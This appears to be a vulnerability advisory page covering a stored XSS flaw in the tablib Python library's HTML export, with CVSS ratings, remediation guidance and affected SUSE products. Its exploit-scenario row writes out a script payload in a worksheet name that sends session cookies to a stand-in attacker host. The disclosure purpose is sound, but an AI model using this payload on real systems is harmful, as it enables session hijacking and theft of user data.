EUVD-2026-57063
GHSA-gqgw-jghv-mxwx
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Stored XSS requires authenticated file upload (PR:L), victim browser render (UI:R), and achieves a scope change (S:C) executing script in the victim's browser context with low confidentiality and integrity impact.
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2Blast Radius
ecosystem impact- 429 pypi packages depend on tablib (125 direct, 308 indirect)
Ecosystem-wide dependent count for version 3.10.0.
DescriptionCVE.org
tablib prior to 3.10.0 contains a stored cross-site scripting vulnerability in the HTML export functionality that allows attackers to execute arbitrary JavaScript by embedding malicious payloads in dataset titles, which are interpolated unsanitized into HTML output via the export_book method in the _html.py format handler. Attackers can rename worksheet sheets in imported files such as XLSX, ODS, XLS, or YAML with script payloads that are assigned to the Dataset title attribute and rendered unescaped inside an HTML h3 tag, leading to session hijacking, unauthorized administrative actions, and sensitive data exposure when the output is rendered in a browser.
AnalysisAI
Stored XSS in tablib's HTML export path before version 3.10.0 allows an authenticated attacker to inject arbitrary JavaScript via maliciously named worksheet titles sourced from imported XLSX, ODS, XLS, or YAML files. The export_book method in _html.py previously interpolated dataset titles directly into HTML h3 tags using an f-string, bypassing all escaping; script payloads assigned to the Dataset title attribute execute in a victim's browser when the exported HTML is rendered. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires all of the following: (1) the attacker must have authenticated access sufficient to supply a file (XLSX, ODS, XLS, or YAML) to the target application - the CVSS PR:L metric confirms authentication is required; (2) the application must ingest that file into a tablib Databook, assigning the malicious worksheet name to a Dataset title attribute; (3) the application must subsequently export the Databook as HTML and deliver that HTML to a different user's browser without additional server-side sanitization. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A, score 4.8) accurately reflects a medium-severity stored XSS: exploitation requires authenticated access to upload or supply a crafted file (PR:L), and a separate victim must actively render the exported HTML in a browser (UI:A), which materially limits opportunistic or automated exploitation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with file-upload privileges submits an XLSX workbook containing a worksheet named `<script>fetch('https://attacker.example/c?v='+document.cookie)</script>`. When an application imports the file into a tablib Databook and an administrator or other user subsequently requests the HTML export and views it in a browser, the unescaped script tag in the h3 heading executes and exfiltrates the victim's session cookie. … |
| Remediation | Upgrade tablib to version 3.10.0 or later, which resolves the vulnerability by using xml.etree.ElementTree for safe HTML encoding of dataset titles (see release at https://github.com/jazzband/tablib/releases/tag/v3.10.0 and the specific fix in PR #668 at https://github.com/jazzband/tablib/pull/668). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise High Performance Computing 12 | Affected |
| SUSE Linux Enterprise Module for Public Cloud 12 | Affected |
| SUSE Linux Enterprise Server 12 SP5 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 12 SP5 | Affected |
| SUSE Linux Enterprise Server 12 | Affected |
| SUSE Linux Enterprise Server 12 SP3 | Affected |
| SUSE Linux Enterprise Server 12 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 12 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 12 SP3 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 12 SP4 | Affected |
| SUSE OpenStack Cloud 6 | Affected |
| SUSE OpenStack Cloud 6-LTSS | Affected |
| SUSE OpenStack Cloud 7 | Affected |
| SUSE OpenStack Cloud 8 | Affected |
| SUSE OpenStack Cloud Crowbar 8 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today